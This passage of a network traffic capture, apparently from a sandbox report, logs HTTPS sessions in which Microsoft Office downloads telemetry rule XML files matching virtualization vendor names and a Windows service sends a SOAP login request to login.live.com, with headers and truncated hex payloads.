2024-11-20 07:09:27 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 07:08:27 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BAY x-ms-request-id: 162324d3-e6ce-4985-b5a1-d056326639e1 PPServer: PPV: 30 H: PH1PEPF0001B835 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 07:09:27 GMT Connection: close Content-Length: 11389
2024-11-20 07:09:27 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:27 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070927Z-185f5d8b95cx9g8lhC1NYCtgvc000000028g000000007qau x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:27 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: be70f01e-301e-000c-538c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070927Z-185f5d8b95c96jn4hC1NYCbgp800000009y000000000653k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:27 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:28 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: c3a4d188-401e-0083-6b19-3b075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070927Z-r1d97b9957744xz5hC1TEB5bf800000008e0000000005szb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:09:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:27 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:28 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:27 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2155a01d-401e-00a3-768c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070927Z-1777c6cb754xjpthhC1TEBexs80000000930000000009x1g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:09:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:27 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 538c9d0d-101e-0028-1c8c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070927Z-1777c6cb754xlpjshC1TEBv8cc00000009e0000000005e72 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:28 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:28 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: f37cb76d-d01e-0017-2085-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070928Z-185f5d8b95cdcwrthC1NYCy5b800000009yg00000000275g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:28 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49894	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:28 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-20 07:09:28 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 07:09:28 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 07:08:28 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BAY x-ms-request-id: 0dd57d72-b32f-4712-bc73-f2df53aa41b7 PPServer: PPV: 30 H: PH1PEPF0001B8EF V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 07:09:28 GMT Connection: close Content-Length: 11389
2024-11-20 07:09:28 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:28 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:28 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070928Z-185f5d8b95cjbkr4hC1NYCeu2400000009tg0000000054mb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:28 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:28 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:28 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 38897a0b-401e-000a-7a8c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070928Z-1777c6cb754g9zd5hC1TEBfvpw00000009dg000000005wrc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:28 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:28 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:28 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070928Z-185f5d8b95cdcwrthC1NYCy5b800000009ug00000000ckyn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:28 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
